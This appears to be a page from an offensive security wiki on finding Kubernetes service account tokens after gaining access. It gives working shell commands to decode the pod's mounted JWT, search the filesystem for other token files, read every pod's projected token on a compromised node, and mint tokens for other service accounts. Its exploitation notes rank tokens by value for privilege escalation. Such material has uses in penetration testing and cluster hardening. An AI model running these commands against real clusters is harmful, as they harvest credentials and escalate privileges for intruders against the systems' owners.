A Kubernetes service account is the identity a pod authenticates as, and its token is a signed JWT mounted at a known path. Discovery has two parts: understanding the token you already have, and finding others. The mounted token tells you which service account and namespace you are, decoding its claims; additional tokens turn up in other mounted secrets, in environment variables, and, on a node, in every pod's projected token directory.
Understand the token you hold#
T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# decode the JWT payload to read the identity claims
echo "$T" | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# key claims: "kubernetes.io/serviceaccount/service-account.name",
# namespace, and for bound tokens the pod and expiry (exp)
Find other tokens#
# secrets mounted into this pod that are themselves SA tokens
find / -maxdepth 8 -name token -path '*secret*' 2>/dev/null -exec sh -c \
'echo "== $1 =="; cut -d. -f2 "$1" | base64 -d 2>/dev/null' _ {} \;
# on a node (if escaped): every pod's projected token
ls /var/lib/kubelet/pods/*/volumes/kubernetes.io~projected/*/token 2>/dev/null
# legacy non-expiring token secrets, if readable via the API (next page)
Mint tokens with the TokenRequest API#
If the current identity can create token requests for other service accounts, it mints fresh tokens for them:
kubectl create token <target-sa> -n <ns> # needs the right RBAC
# raw API equivalent: POST .../serviceaccounts/<sa>/token
This is the enumeration half of TokenRequest API; whether it works depends on the RBAC the current token carries.
Exploitation notes#
- Decoding the JWT payload (the middle segment, base64url) reveals the exact service account and namespace, which drives every
can-icheck against the API. - Bound tokens carry an
expand are tied to the pod; legacy token-secret tokens do not expire and are more valuable if found, see the token-abuse routes. - On a node, the projected token of a more privileged pod (for example a system or controller pod) is a direct escalation; node access makes every pod's token readable.